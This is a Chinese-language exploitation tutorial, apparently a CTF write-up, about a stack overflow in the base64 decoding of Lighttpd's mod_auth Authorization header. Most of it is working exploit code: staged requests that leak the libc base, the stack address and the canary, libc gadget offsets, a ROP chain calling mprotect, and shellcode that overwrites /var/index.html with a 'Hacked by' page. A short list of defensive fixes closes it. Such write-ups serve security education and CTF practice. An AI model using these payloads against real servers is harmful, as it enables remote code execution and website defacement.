lighttpd溢出漏洞构造ROP链
字数 972 2025-08-20 18:17:07
Lighttpd 栈溢出漏洞分析与利用教学文档
1. 漏洞概述
本漏洞存在于 Lighttpd 的 mod_auth.so 模块中,具体在 li_base64_dec 函数的 Base64 解码过程中存在栈溢出漏洞。攻击者可以通过精心构造的 Authorization 头部触发该漏洞,进而实现远程代码执行。
2. 环境配置
2.1 服务启动
Lighttpd 服务默认监听在 8080 端口,可通过以下命令启动:
/home/qwb/lighttpd -f /home/qwb/lighttpd.conf
如果遇到端口冲突错误:
bind() 0.0.0.0:8080: Address already in use
3. 漏洞分析
3.1 漏洞位置
漏洞位于 mod_auth.so 模块的 sub_4989 函数中,具体在 Base64 解码部分:
na = li_base64_dec(s, 1024LL, *v16 + 6LL, n, 0LL); // 栈溢出
3.2 漏洞函数分析
li_base64_dec 函数存在以下关键问题:
__int64 __fastcall li_base64_dec(__int64 a1, __int64 a2, char *a3, __int64 a4, int a5) {
// ...
while (v12 < v17) {
if (*v12 < 0)
v6 = -1LL;
else
v6 = v18[*v12];
v13 = v6;
if (v6 >= 0) {
v14 = v6 | (v14 << 6);
// 关键漏洞点:没有检查输出缓冲区边界
if ((++v15 & 3) == 0) {
*(a1 + v16) = BYTE2(v14);
*(a1 + v16 + 1) = BYTE1(v14);
v7 = v16 + 2;
v16 += 3LL;
*(a1 + v7) = v14;
v14 = 0LL;
}
}
// ...
}
// ...
}
主要问题:
- 缺少对输入参数的有效性检查
- 没有验证输出缓冲区边界
- 允许任意长度的 Base64 输入导致栈溢出
3.3 信息泄露机制
当 Base64 解码后的账号密码中不存在冒号 : 时,会进入 sub_4720 函数,该函数可以泄露内存信息:
v21 = (char *)memchr(s, ':', na);
if (!v21) {
s[na - 1] = 0;
log_error(...);
return sub_4720(a1, *(_QWORD *)(a3 + 8), (const char *)dest); // 信息泄露
}
4. 漏洞利用
4.1 利用步骤
- 泄露 libc 基地址
- 泄露栈地址
- 泄露 Canary 值
- 构造 ROP 链
- 执行 shellcode
4.2 详细利用过程
4.2.1 泄露 libc 基地址
with remote(target_ip, 8080) as connection:
payload = (
b'GET /www/ HTTP/1.1\r\n'
b'Host: www.xmcve.com\r\n'
b'Authorization: Basic ' + base64.b64encode(b'a' * 0x68) + b'\r\n\r\n'
)
send_line(connection, payload)
for _ in range(2):
receive_until(connection, b'a' * 0x68)
libc_base = read_64_bits(connection) - 0xe1225
receive_data(connection)
4.2.2 泄露栈地址
payload = (
b'GET /www/ HTTP/1.1\r\n'
b'Host: www.xmcve.com\r\n'
b'Authorization: Basic ' + base64.b64encode(b'c' * 0x80) + b'\r\n\r\n'
)
send_line(connection, payload)
receive_until(connection, b'c' * 0x80)
leaked_stack = read_64_bits(connection)
4.2.3 泄露 Canary 值
payload = (
b'GET /www/ HTTP/1.1\r\n'
b'Host: www.xmcve.com\r\n'
b'Authorization: Basic ' + base64.b64encode(b'b' * 0xe9) + b'\r\n\r\n'
)
send_line(connection, payload)
receive_until(connection, b'b' * 0xe9)
canary_value = u64(connection.recv(7).rjust(8, b'\x00'))
4.2.4 构造 ROP 链
# 计算关键地址
system_addr, bin_sh_addr = find_system_and_binsh(libc_base, remote_library)
ret_addr = libc_base + 0x0000000000029139
rdi_gadget = libc_base + 0x000000000002a3e5
rsi_gadget = libc_base + 0x000000000002be51
rdx_r12_gadget = libc_base + 0x000000000011f2e7
rax_gadget = libc_base + 0x0000000000045eb0
syscall_gadget = libc_base + 0x0000000000029db4
read_function = libc_base + remote_library.sym['read']
mprotect_function = libc_base + remote_library.sym['mprotect']
# 构造 shellcode
html_content = (
b'\n<html>\n<head>\n <title>test!</title>\n</head>\n<body>\n'
b' <h1>Test!!!!!!</h1>\n <p>Hacked by Test.</p>\n</body>\n</html>\x00'
)
shellcode = asm(
shellcraft.open('/var/index.html', 'O_RDWR') +
'mov r15, rax' +
shellcraft.write('rax', leaked_stack + 0x1d0, 0x100) +
shellcraft.close('r15')
).ljust(0x100, b'\x00') + html_content
# 构造完整ROP链
rop_chain = (
b'a' * 0x408 +
pack('<Q', canary_value) +
pack('<Q', 0) +
pack('<Q', rdi_gadget) +
pack('<Q', leaked_stack >> 12 << 12) +
pack('<Q', rsi_gadget) +
pack('<Q', 0x2000) +
pack('<Q', rdx_r12_gadget) +
pack('<Q', 0x7) * 2 +
pack('<Q', mprotect_function) +
pack('<Q', leaked_stack + 0xd0) +
shellcode
)
4.2.5 发送最终payload
final_payload = (
b'GET /www/ HTTP/1.1\r\n'
b'Host: www.test.com\r\n'
b'Authorization: Basic ' + base64.b64encode(rop_chain) + b'\r\n\r\n'
)
send_line(connection, final_payload)
5. 关键点总结
- 漏洞触发点:通过超长的Base64编码的Authorization头部触发栈溢出
- 信息泄露:利用缺少冒号的Base64字符串触发sub_4720函数泄露内存
- 利用链构造:
- 分阶段泄露libc基地址、栈地址和Canary值
- 使用ROP链绕过保护机制
- 调用mprotect修改内存权限后执行shellcode
- 利用效果:修改/var/index.html文件内容
6. 防御建议
- 在
li_base64_dec函数中添加输入长度检查 - 验证输出缓冲区边界
- 对Base64解码后的数据进行严格格式验证
- 更新到最新版本的Lighttpd
7. 完整EXP
完整利用代码已在原文中提供,包含所有必要的功能函数和利用步骤。关键点在于分阶段泄露内存信息并精心构造ROP链实现任意代码执行。